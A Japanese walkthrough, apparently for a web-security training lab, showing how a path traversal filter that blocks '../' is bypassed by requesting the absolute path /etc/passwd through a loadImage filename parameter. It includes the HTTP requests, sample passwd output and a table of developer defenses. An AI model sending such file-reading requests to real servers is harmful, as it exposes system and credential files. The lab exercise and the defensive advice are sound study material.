Hello there, ('ω')ノ
🎯 ラボの目的
このラボでは、
- 通常の
../
などの トラバーサル文字列はブロックされています。 - しかし サーバーは
filename
をワーキングディレクトリからの相対 or 絶対パスとして解釈しています。
✅ つまり 絶対パス(/etc/passwd
)を直接指定することで
サーバーのファイルを読み取ることが可能です。
✅ 攻略手順(ステップバイステップ)
1️⃣ 商品画像取得リクエストをBurpでキャプチャ
例:
GET /loadImage?filename=218.png HTTP/1.1 Host: <LAB-ID>.web-security-academy.net
2️⃣ filenameパラメータを絶対パスに変更
GET /loadImage?filename=/etc/passwd HTTP/1.1 Host: <LAB-ID>.web-security-academy.net
✅ 注意:
../
や%2e%2e%2f
は検知されてブロックされるが- 絶対パス指定
/etc/passwd
は許される → バイパス成功
3️⃣ リクエスト送信 → ファイル内容取得
- Burp Repeater で Send
レスポンスに Linuxサーバーの
/etc/passwd
内容 が含まれているはず- 例:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
4️⃣ 解答提出
- 抜き出したファイル内容をコピー
- ラボ画面の Submit solution ボタンから提出
- ラボクリア🎉
✅ この攻撃の本質ポイント
防御方法 | バイパス方法 |
---|---|
../ などトラバーサル文字列ブロック |
絶対パス /etc/passwd 指定でバイパス |
ユーザー入力値の直接パス結合 | 入力チェック不備 → 任意パス指定可能 |
🎯 攻撃者視点の教訓
../
が通らない場合 → 絶対パス試行/etc/passwd
,C:\windows\win.ini
- API仕様上ワーキングディレクトリ基準でファイル指定可能なケースに注意
- アプリやライブラリの パス結合ロジックの甘さ を狙う
✅ 開発者向け防御策
対策 | 説明 |
---|---|
絶対パス指定禁止 | / や \ から始まる文字列をブロック |
ファイルID or ハッシュ管理 | パス指定は外部から一切受け付けない |
OS関数でパス正規化 | realpath() でファイルパスを正規化後にベースパス比較 |
ファイルシステムパーミッション制限 | Webアプリ実行ユーザーに最低限権限のみ |
✅ まとめ
このラボは「パストラバーサル = ../
だけではない」
という攻撃者の視点を学べる実践ケースです。
現実のシステムでも
loadImage?filename=/etc/passwd
getFile?path=C:\windows\win.ini
のような 絶対パスバイパス は今も多く発見されています。
「ユーザー入力値は絶対にファイルパスに直接渡さない」 これがパストラバーサル防御の鉄則です。
Best regards, (^^ゞ